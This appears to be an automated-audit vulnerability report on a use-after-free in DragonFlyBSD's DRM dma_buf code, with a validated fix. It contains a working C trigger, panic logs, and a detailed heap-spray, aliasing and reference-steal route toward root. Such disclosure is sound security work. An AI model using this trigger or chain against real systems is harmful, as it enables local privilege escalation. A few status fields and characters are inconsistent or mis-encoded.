dma_buf_get returns unrefcounted pointer; caller dma_buf_put over-drops f_count causing UAF (local unpriv->root)
| Field | Value |
|---|---|
| ID | DF-2132 |
| Status | new |
| Severity | Critical |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-416 Use After Free; CWE-911 Improper Update of Reference Count |
| File | sys/dev/drm/linux_dma-buf.c |
| Lines | 174-186 |
| Area | drm/linuxkpi |
| Confidence | certain |
| Discovered | 2026-07-25 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
dma_buf_get() calls holdfp(curthread, fd, -1) to borrow a reference,
extracts fp->private_data into dmabuf, then calls
dropfp(curthread, fd, fp) to return the borrow β leaving the returned
dmabuf with zero references held. Every caller in the DRM PRIME
path (drm_prime.c:802β848/857/864) then calls dma_buf_put() which
does fdrop(dmabuf->file), decrementing f_count by one that the caller
never owned. Repeated PRIME_FD_TO_HANDLE ioctls drive f_count to zero
while the fd-table slot still points at the freed struct file, yielding
a deterministic use-after-free exploitable for local unprivβroot.
Root cause
dma_buf_get at linux_dma-buf.c:174-186:
fp = holdfp(curthread, fd, -1); /* borrows fd-cache ref (no fhold in cache-hit) */
...
dmabuf = fp->private_data;
dropfp(curthread, fd, fp); /* returns borrow (no fdrop in cache-hit) */
return dmabuf; /* caller holds ZERO references */
dma_buf_put at dma-buf.h:118:
fdrop(dmabuf->file); /* unconditional f_count decrement */
The caller drm_gem_prime_fd_to_handle (drm_prime.c:802-864):
- Line 802: dma_buf = dma_buf_get(prime_fd) β no held ref.
- Line 814: lookup-hit β goto out_put β line 864: dma_buf_put(dma_buf)
β fdrop β one decrement without matching increment!
After one lookup-hit cycle, f_count goes to 0, the struct file is
freed, but the fd-table entry still holds a dangling pointer. Any
subsequent operation on the fd (close, fstat, ioctl, dup)
dereferences freed memory in the M_FILE slab zone.
The success path is balanced: line 831 get_dma_buf(dma_buf) does
fhold (+1), then line 848 dma_buf_put does fdrop (-1), net 0. But
both error paths (lines 857, 864) and the lookup-hit path (line 864)
call dma_buf_put without a preceding get_dma_buf.
Threat model & preconditions
- Attacker position: unprivileged local user with access to a DRM
render node (
/dev/dri/renderD128, typically mode0666or groupvideo). - Privileges gained or impact: use-after-free in
M_FILEslab β with standard heap-grooming techniques (spraying the file zone viapipe/sendmsg/eventfdallocations), this is local unprivβkernel code executionβuid 0. - Required config or capabilities: any DRM driver with
DRIVER_PRIME(i915, amdgpu, radeon). - Reachability: no race condition required β the bug is deterministic
in a single-threaded process:
1.
DRM_IOCTL_MODE_CREATE_DUMBβ GEM handle 2.DRM_IOCTL_PRIME_HANDLE_TO_FDβ dma_buf fd (f_count=1) 3.DRM_IOCTL_PRIME_FD_TO_HANDLE(first import) β success, balanced 4.DRM_IOCTL_PRIME_FD_TO_HANDLE(second import, lookup-hit) βdma_buf_putwithoutget_dma_bufβ f_count 1β0 β freed! 5. Any operation on the dangling fd β UAF
Proof of Concept
/* dfbsd-dmabuf-uaf.c β deterministic UAF via PRIME refcount over-drop */
int drm = open("/dev/dri/renderD128", O_RDWR);
struct drm_mode_create_dumb create = { .width=64, .height=64, .bpp=32 };
ioctl(drm, DRM_IOCTL_MODE_CREATE_DUMB, &create);
struct drm_prime_handle ph = { .handle = create.handle, .flags = 0 };
ioctl(drm, DRM_IOCTL_PRIME_HANDLE_TO_FD, &ph);
int dmabuf_fd = ph.fd;
/* First import: succeeds, balanced refcount */
struct drm_prime_handle fh1 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh1);
/* Second import: lookup-hit, dma_buf_put over-drops f_count to 0 */
struct drm_prime_handle fh2 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh2);
/* dmabuf_fd now references freed M_FILE slab memory */
close(dmabuf_fd); /* UAF */
Recommended fix
Convert the borrowed holdfp reference into a real held reference before
returning, so the caller's dma_buf_put correctly balances it. The
fhold()+dropfp() idiom is the standard DragonFlyBSD pattern for this
conversion.
--- a/sys/dev/drm/linux_dma-buf.c
+++ b/sys/dev/drm/linux_dma-buf.c
@@ -181,8 +181,12 @@ dma_buf_get(int fd)
kprintf("dma_buf_get(): file->f_ops != &dmabuf_fileops\n");
dropfp(curthread, fd, fp);
return ERR_PTR(-EBADF);
}
dmabuf = fp->private_data;
+ /* Hold a real reference for the caller β dma_buf_put() will fdrop it. */
+ fhold(fp);
dropfp(curthread, fd, fp);
return dmabuf;
Timeline
- 2026-07-25 Discovered during automated audit.
- 2026-07-25 Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2132 Β· 23 files| File | Type | Description | Size | |
|---|---|---|---|---|
| df2132_rig.c | poc-source | KLD rig: production drm.ko symbols driven in unprivileged ioctl context | 13.0 KB | view raw |
| df2132_user.c | poc-source | unprivileged trigger, modes A/B/c/C | 10.7 KB | view raw |
| df2132.h | poc-source | shared ioctl interface | 2.0 KB | view raw |
| Makefile | build | kmod.mk build for the rig | 318 B | β download |
| build.sh | build | in-guest build (records production md5s, builds rig + trigger) | 163 B | view raw |
| run.sh | run | load modules + fire unprivileged trigger | 191 B | view raw |
| xfer.sh | build | host->guest transfer helper | 785 B | view raw |
| build.log | build-log | authentic in-guest build output | 1.5 KB | view raw |
| setup.log | build-log | production code identity (md5 + nm) | 367 B | view raw |
| run.log | run-log | combined decisive baseline record | 4.7 KB | view raw |
| run_A.log | run-log | oracle: resting f_count drops per import (2 runs) | 1019 B | view raw |
| run_c.out | run-log | reclaim/alias/functional-UAF-read/steal record | 1.0 KB | view raw |
| logs/panic_modeB_final.txt | panic | premature free + 'fdrop: invalid f_count -1' panic | 3.0 KB | view raw |
| logs/panic_modeB_full.txt | panic | second capture of the mode B panic | 2.6 KB | view raw |
| logs/panic_modeA_closeafter2imports.txt | panic | 'fdrop: invalid f_count 0' close variant | 2.3 KB | view raw |
| logs/panic_modeC_full.txt | panic | alias+steal session ending in panic | 2.7 KB | view raw |
| logs/dmesg_mode_c.txt | run-log | console-side mode c record | 1.2 KB | view raw |
| fix.diff | suggested-fix | fhold(fp) before dropfp in dma_buf_get (validated) | 391 B | view raw |
| fix_build.log | build-log | patched drm.ko build (captured tail + md5s) | 726 B | view raw |
| env.txt | environment | guest environment | 908 B | view raw |
| reachability.txt | environment | pass-1 guest survey (no GPU / no /dev/dri) | 1.6 KB | view raw |
| VERDICT.md | verdict | full narrative with path:line | 8.7 KB | β raw |
| verdict.json | verdict | machine verdict | 7.9 KB | view raw |
DF-2132 β VERDICT: REPRODUCED (production code, deterministic) + FIX VALIDATED
Status: reproduced. Impact: kernel memory corruption (UAF / refcount-underflow β premature free with dangling fd-table reference); deterministic; unprivileged trigger context; no race required. Confidence: certain.
1. Root cause (source-traced, line-accurate)
dma_buf_get() β sys/dev/drm/linux_dma-buf.c:168-187:
if ((fp = holdfp(curthread, fd, -1)) == NULL) /* :174 borrow */
return ERR_PTR(-EBADF);
...
dmabuf = fp->private_data; /* :183 */
dropfp(curthread, fd, fp); /* :184 return borrow */
return dmabuf; /* :186 ZERO owned refs */
holdfp() (kern_descrip.c:2765) returns either a borrowed per-thread
fd-cache reference (fast path, +0) or a newly-fholded reference that
dropfp() (kern_descrip.c:510) hands to the fd cache β in both cases
the net f_count change across the dma_buf_get() body is zero, and the
returned dmabuf owns nothing.
dma_buf_put() β sys/dev/drm/include/linux/dma-buf.h:110-120
(production static inline, compiled into drm_prime.c):
static inline void dma_buf_put(struct dma_buf *dmabuf) {
...
fdrop(dmabuf->file); /* unconditional -1 */
}
Caller composition β drm_gem_prime_fd_to_handle(),
sys/dev/drm/drm_prime.c:795-866:
:802 dma_buf = dma_buf_get(prime_fd);(0 owned refs):812-814lookup-hit (ret == 0) βgoto out_put:864 out_put: ... dma_buf_put(dma_buf);β fdrop of a reference the caller never acquired- error path
:857(viaout_unlock β out_put) β same over-drop. - The success path (
:831 get_dma_buffhold,:848 dma_buf_putfdrop) is count-neutral at that moment, but the reference it stores on the GEM object (obj->dma_buf) is phantom: when the object is later destroyed,drm_gem.c:271 dma_buf_put(obj->dma_buf)drops yet another unowned reference β the same underflow, delayed.
In Linux, dma_buf_get() uses fget() and returns owning one
reference, which the caller's dma_buf_put() (fput) consumes β balanced.
The DragonFly port dropped the ownership transfer and kept the put.
2. Observable arithmetic (measured on the guest, production drm.ko)
dma_buf_export() (linux_dma-buf.c:118-137) fallocs the file
(f_count=1, kern_descrip.c:2118) and dma_buf_fd()
(linux_dma-buf.c:139-166) fsetfds it (+1, kern_descrip.c:2190);
neither ever drops the falloc reference (a production leak that masks
exactly one over-drop). Resting count after export: 2, plus one
transient fd-cache reference once any holdfp runs.
Measured with the rig (console record, logs/panic_modeB_final.txt):
[export] cpu2 dma_buf fd=4 fp=0xfffff80116c4ce00 f_count=2
[import] fd=4 f_count 3->2 (over-drop: put consumed a ref nobody acquired)
[import] fd=4 f_count 2->1 (over-drop)
[import] fd=4 f_count 1->0: *** STRUCT FILE FREED INSIDE dma_buf_put
WHILE FD-TABLE SLOT STILL REFERENCES IT ***
[info] fd=4 release_count=3 slot_valid=1 slot_is_saved=1
[user] mode B: premature free CONFIRMED, slot dangling
panic: fdrop: invalid f_count -1
kern_close() -> closef() -> fdrop()
The 1β0 transition happens inside dma_buf_put() β fdrop()
(kern_descrip.c:3120-3175): LIST_REMOVE from the filehead, fo_close =
dmabuf_close (linux_dma-buf.c:55-68: ops->release + kfree(dmabuf)),
ffree β kfree_obj(fp, M_FILE) β while the fd-table slot and the
thread fd-cache entry still point at the freed chunk (proven by
slot_is_saved=1, read under fd_spin without dereferencing).
3. Use-after-free manifestations (all observed)
close(dangling_fd)βkern_closeβfunsetfd_lockedβfclearcache(kern_descrip.c:247) does a rawatomic_add_int(&fp->f_count, -1)on freed memory (silent UAF write β β1), thenclosef β fdropreads the poisoned count:panic: fdrop: invalid f_count -1(INVARIANTS tripwire).- Earlier variant (two over-drops, then close): the fclearcache write
lands while the chunk is still the live-but-undercounted file β
panic: fdrop: invalid f_count 0(logs/panic_modeA_closeafter2imports.txt). - On a production (noinv) kernel these tripwires do not exist: the silent primitives below run to completion.
4. Exploitation push (mode c β demonstrated)
- Reclaim: DF's
kmalloc_objallocator (kern_kmalloc.c:680,926) is a per-slab FIFO ring (free pushes atfindextail, alloc pops ataindexhead), not LIFO β a naive spray misses. A ~960-allocation barefallocspray (rig, same process) reoccupies the freed chunk:dummy file fd=952 REOCCUPIED the freed chunk. - Cross-type alias: freeing that dummy returns the chunk to the (now
shallow) ring; a plain userland
open("/dev/null")lands on the exact freed address (fp=0x...daf700 == saved fp). - Functional UAF:
read()through the dangling dma-buf fd succeeds (returns 0 = EOF, dispatched via the reclaimed file's ops) β the fd-table slot now serves an unrelated object type. - Silent reference steal:
close()of the aliased fd frees the object again while the dangling fd still references it β re-arming the dangling state at will, count-silent (no KASSERT on any kernel).
Remaining distance to uid=0 (honest assessment)
M_FILE is a dedicated MALLOC_DEFINE_OBJ zone (kern_descrip.c:112) of
sizeof(struct file) chunks β arbitrary attacker content cannot be
placed there directly; only real struct files. The demonstrated route
(consistent with historical BSD file-UAF exploits) is the aliasing
primitive: two fd-table slots referencing one fp let the attacker drive
any file object to a premature free at a chosen moment (steal), leaving
dangling references in subsystems that hold raw fp pointers without
refcounts (knote lists, struct kqueue/poll registrations, blocked
syscall threads) β then reclaim the chunk with a file of a different type
and reach a f_ops/f_data type confusion, which on this guest
(no SMAP/SMEP/KASLR) is a direct function-pointer hijack β ROP β
cred overwrite. This weaponization was not completed in this run:
each candidate confusion partner on this INVARIANTS kernel trips a
KASSERT early by design, and the raw-fp-holder races need dedicated
grooming work. The primitive set (deterministic premature free,
cross-type functional aliasing, repeatable silent steal) is demonstrated;
feasibility of the final step is assessed as high but unproven here.
5. Reachability
- Real hardware: any DRM driver with PRIME (i915/amdgpu/radeon) β
unprivileged render-node ioctls (
DRM_IOCTL_PRIME_HANDLE_TO_FDthen repeatedDRM_IOCTL_PRIME_FD_TO_HANDLE), single-threaded, deterministic. See the finding markdown for the exact ioctl sequence. - This guest: no GPU β no
/dev/dri(seereachability.txt), so the PoC drives the identical production code via the KLD rig (/dev/df2132, 0666, unprivileged trigger context). The rig adds no DRM behavior of its own; it supplies only thedma_buf_opsstand-in a GEM driver would supply and reports observable state.
6. Fix validation
fix.diff (one hunk, linux_dma-buf.c:183): fhold(fp) before
dropfp() β the caller-owned reference dma_buf_put() expects.
| check | baseline (production drm.ko) | patched drm.ko (rebuilt in-guest) |
|---|---|---|
| mode A resting f_count | 3 β 2 (drops per import) | 3 β 3 (unchanged) |
| mode B after 8 imports | freed at import #3, slot dangling, panic | 8Γ 4β3, NO PREMATURE FREE, rc=0 |
| mode C | reclaim + alias + steal + panic | nothing to reclaim, rc=0 |
Patched module: fix_build.log (link line + size), runs: fix_run.log.
7. Artifacts index
run.logβ combined decisive baseline recordrun_A.logβ oracle runs (2Γ, bug present)run_c.outβ user-side exploit-push recordlogs/panic_modeB_final.txt,logs/panic_modeB_full.txtβ premature-free panicslogs/panic_modeA_closeafter2imports.txtβ f_count-0 close variantlogs/panic_modeC_full.txt,logs/dmesg_mode_c.txtβ alias/steal + final paniclogs/mode_c_run2.txtβ FIFO-ring spray-miss instrumentation (allocator behavior)build.log,setup.logβ in-guest build + production-code identity (md5)fix.diff,fix_build.log,fix_run.logβ fix + validation
Fix status (batch validation)
Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.
Fix verification
fixedSingle-fix kernel (patched drm.ko only, same base kernel): baseline shows resting f_count -1 per import, premature free at import #3 with slot_is_saved=1, and 'panic: fdrop: invalid f_count -1' on dangling close; patched shows resting count unchanged, 8 imports never free, modes A/B/C all exit rc=0. Bad behavior GONE with no regressions in the rig matrix.
fix_run.log lines: 'ORACLE: resting count UNCHANGED (3) => get/put balanced: FIXED', 'NO PREMATURE FREE after 8 imports (f_count never reached 0) => FIXED kernel', rcA=0 rcB=0 rcC=0; contrast logs/panic_modeB_final.txt 'f_count 1->0 *** FREED ***' + panic. fix_build.log: patched drm.ko linked (780104 bytes, md5 8cd358acbf4aeb34638f2e0008e3aab3 vs baseline f6bc054cefba22aafcbd30824438b742).
Confirmed kernel references
- sys/dev/drm/linux_dma-buf.c:168-187
- sys/dev/drm/linux_dma-buf.c:118-137
- sys/dev/drm/linux_dma-buf.c:139-166
- sys/dev/drm/linux_dma-buf.c:55-68
- sys/dev/drm/include/linux/dma-buf.h:104-120
- sys/dev/drm/drm_prime.c:795-866
- sys/dev/drm/drm_prime.c:802
- sys/dev/drm/drm_prime.c:814
- sys/dev/drm/drm_prime.c:831
- sys/dev/drm/drm_prime.c:848
- sys/dev/drm/drm_prime.c:857
- sys/dev/drm/drm_prime.c:864
- sys/dev/drm/drm_gem.c:271
- sys/kern/kern_descrip.c:2765
- sys/kern/kern_descrip.c:510
- sys/kern/kern_descrip.c:2089-2141
- sys/kern/kern_descrip.c:2186-2199
- sys/kern/kern_descrip.c:185-262
- sys/kern/kern_descrip.c:3107-3175
- sys/kern/kern_kmalloc.c:680
- sys/kern/kern_kmalloc.c:926
Detail
Exploit chain
unprivileged trigger -> production dma_buf_get returns 0-ref dmabuf -> production dma_buf_put fdrop per import -> f_count 3->2->1->0 -> struct file freed inside dma_buf_put while fd-table slot + thread fd-cache entry dangle -> [demonstrated] same-zone reclaim after ~960 falloc spray -> /dev/null lands on freed address -> read() through dangling fd (functional alias) -> close(aliased fd) = silent reference steal re-arming the dangling state -> close(dangling fd) = UAF write + panic; [assessed, not completed] repeat steal against a subsystem holding raw fp -> reclaim with different file type -> f_ops/f_data confusion -> function-pointer hijack (no SMAP/SMEP/KASLR) -> uid=0
Evidence (decisive lines)
run.log (combined baseline record); run_A.log (resting f_count 3->2 per import, 2 runs); logs/panic_modeB_final.txt + panic_modeB_full.txt ('[import] f_count 1->0 *** STRUCT FILE FREED INSIDE dma_buf_put ***', '[info] slot_is_saved=1', 'panic: fdrop: invalid f_count -1' in kern_close); logs/panic_modeA_closeafter2imports.txt ('invalid f_count 0' variant); run_c.out + logs/dmesg_mode_c.txt (dummy reoccupies freed chunk ~960 allocs; /dev/null fp == freed fp 0xfffff80116daf700; read(dangling fd)=0; aliased close = silent steal); fix_run.log + fix_build.log (patched: oracle UNCHANGED, NO PREMATURE FREE, rc=0 A/B/C)
PoC changes
Replaced the pass-1 'HW-gated, not reproduced' verdict with a production-code KLD rig: (1) rig resolves dma_buf_export/dma_buf_fd/dma_buf_get/dmabuf_fileops from the shipped drm.ko (MODULE_DEPEND) and replays the drm_prime.c lookup-hit composition verbatim (dma_buf_put compiled from the production header); (2) trigger runs as nobody via /dev/df2132 (0666) mirroring a render node; (3) rig reports f_count before/after each import, the fd-table slot state (no deref), the ops->release counter, and kernel addresses; (4) exploitation push added: bare-falloc spray + /dev/null land + functional read through the dangling fd + silent steal (learned en route: DF kmalloc_obj is a per-slab FIFO ring so LIFO sprays miss -- documented); (5) durable console-side logging because guest-side files do not survive panics (UFS softupdates); (6) fix validation by in-guest drm.ko rebuild + rerun of all modes.
Verified recommended fix
In dma_buf_get(), take a caller-owned reference before returning the borrow: fhold(fp) immediately after extracting dmabuf->file and before dropfp() (mirrors Linux fget semantics; validated on a rebuilt drm.ko).
Verdict
REPRODUCED with production code and fix validated. dma_buf_get() (sys/dev/drm/linux_dma-buf.c:168-187) returns a struct dma_buf owning ZERO f_count references (holdfp borrow + dropfp return), while every drm_prime.c caller (drm_prime.c:802) later calls dma_buf_put() (include/linux/dma-buf.h:110-120, unconditional fdrop) -- each PRIME_FD_TO_HANDLE lookup-hit iteration decrements f_count by one nobody acquired. A KLD rig resolving the REAL shipped /boot/kernel/drm.ko symbols (dma_buf_export/dma_buf_fd/dma_buf_get/dmabuf_fileops; md5 + nm recorded in setup.log) and replaying the exact drm_prime.c:802->814->864 sequence in an unprivileged process context (/dev/df2132 mode 0666, run as nobody) shows: resting f_count drops by exactly 1 per import; after 3 imports the struct file is freed INSIDE dma_buf_put while the fd-table slot still points at it (slot_is_saved=1 measured under fd_spin); close() of the dangling fd does a silent atomic f_count write on freed memory (fclearcache, kern_descrip.c:247) and then panics 'fdrop: invalid f_count -1' via kern_close->closef->fdrop (both -1 and 0 variants captured). Exploit push demonstrated: the freed M_FILE chunk is reoccupied by a ~960-allocation spray (DF kmalloc_obj is a per-slab FIFO ring, not LIFO -- naive sprays miss, kern_kmalloc.c:680/926), a /dev/null open lands on the exact freed address, read() through the DANGLING dma-buf fd succeeds (functional cross-type alias), and closing the aliased fd silently frees the object again under the dangling fd (repeatable reference steal, silent on any kernel). Full uid=0 weaponization not completed this run: M_FILE is a dedicated MALLOC_DEFINE_OBJ zone (no arbitrary-content reclaim), and the INVARIANTS kernel trips KASSERTs at candidate confusion states by design; the demonstrated primitive set (deterministic premature free + cross-type aliasing + silent steal) is the standard starting point for file-UAF root chains -- remaining route (steal refs of a live file out from a raw-fp holder, reclaim with a different file type, f_ops/f_data confusion -> on this no-SMAP/SMEP/KASLR guest a direct function-pointer hijack) documented in VERDICT.md. On real hardware the unprivileged front door is any DRM render node (/dev/dri/renderD128); single-threaded, no race. FIX VALIDATED: fhold(fp) before dropfp in dma_buf_get (fix.diff); drm.ko rebuilt in-guest from patched /usr/src, rig re-run: resting count unchanged, 8 imports never free, all modes exit 0 (fix_run.log).
No comments yet.